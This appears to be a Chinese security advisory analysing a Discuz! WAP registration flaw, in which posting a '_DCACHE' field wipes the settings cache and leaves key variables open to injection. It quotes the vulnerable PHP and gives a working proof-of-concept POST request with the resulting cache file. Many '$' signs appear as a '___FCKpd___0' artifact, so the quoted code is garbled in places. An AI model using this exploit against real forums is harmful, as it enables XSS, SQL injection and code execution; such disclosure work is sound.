|
Discuz! ___FCKpd___0
DCACHE数组变量覆盖漏洞
author: ryat_at_www.wolvez.org
team:http://www.80vul.com
由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖___FCKpd___0
DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.
一 分析
/wap/index.php
//43行
$chs = '';
if(___FCKpd___0
POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach(___FCKpd___0
POST as $key => $value) {
$key = addslashes(stripslashes($chs->Convert($key)));
}
unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
require_once './include/'.$action.'.inc.php';
这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法有一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE,那么POST提交一个_DCACHE=1,经过Convert()处理___FCKpd___0
DCACHE就会被覆盖为NULL[再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串]:)
/wap/include/register.inc.php
//124行
require_once DISCUZ_ROOT.'./include/cache.func.php';
___FCKpd___0
DCACHE['settings']['totalmembers']++;
___FCKpd___0
DCACHE['settings']['lastmember'] = $discuz_userss;
updatesettings();
这个地方是注册用户后更新缓存数据,再来看看updatesettings()是怎么处理的:
include/cache.func.php
//252行
function updatesettings() {
global ___FCKpd___0
DCACHE;
if(isset(___FCKpd___0
DCACHE['settings']) && is_array(___FCKpd___0
DCACHE['settings'])) {
writetocache('settings', '', '___FCKpd___0
DCACHE[\'settings\'] = '.arrayeval(___FCKpd___0
DCACHE['settings']).";\n\n");
}
}
可以看到这个地方写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把___FCKpd___0
DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将仅仅只有___FCKpd___0
DCACHE['settings']['totalmembers']和___FCKpd___0
DCACHE['settings']['lastmember']:)
include/common.inc.php
//95行:
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract(___FCKpd___0
DCACHE['settings']);
...
$styleid = intval(!empty(___FCKpd___0
GET['styleid']) ? ___FCKpd___0
GET['styleid'] :
(!empty(___FCKpd___0
POST['styleid']) ? ___FCKpd___0
POST['styleid'] :
(!empty(___FCKpd___0
DSESSION['styleid']) ? ___FCKpd___0
DSESSION['styleid'] :
___FCKpd___0
DCACHE['settings']['styleid'])));
$styleid = intval(isset($stylejump[$styleid]) ? $styleid : ___FCKpd___0
DCACHE['settings']['styleid']);
if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
$cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = ___FCKpd___0
DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}
这里用extract处理了___FCKpd___0
DCACHE['settings'],但由于此时包含的forumdata/cache/cache_settings.php文件中仅仅存在___FCKpd___0
DCACHE['settings']['totalmembers']和___FCKpd___0
DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用,但现在我们可以随意提交这些变量,这将导致xss,sql注射,命令执行等众多严重的安全问题:)
另外要注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是我们wap注册时写入的数据:)
PS:WAP用户注册默认并不开启
二 利用
Poc:
POST http://127.0.0.1/dz/wap/index.php?action=register HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/dz/wap/index.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66
username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1
D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Nov 6, 2008, 22:27
//Identify: 1b0cb6a8551131fb818dc6fe54e9cad0
___FCKpd___0
DCACHE['settings'] = array (
'totalmembers' => 1,
'lastmember' => 'ryat',
);
?>
|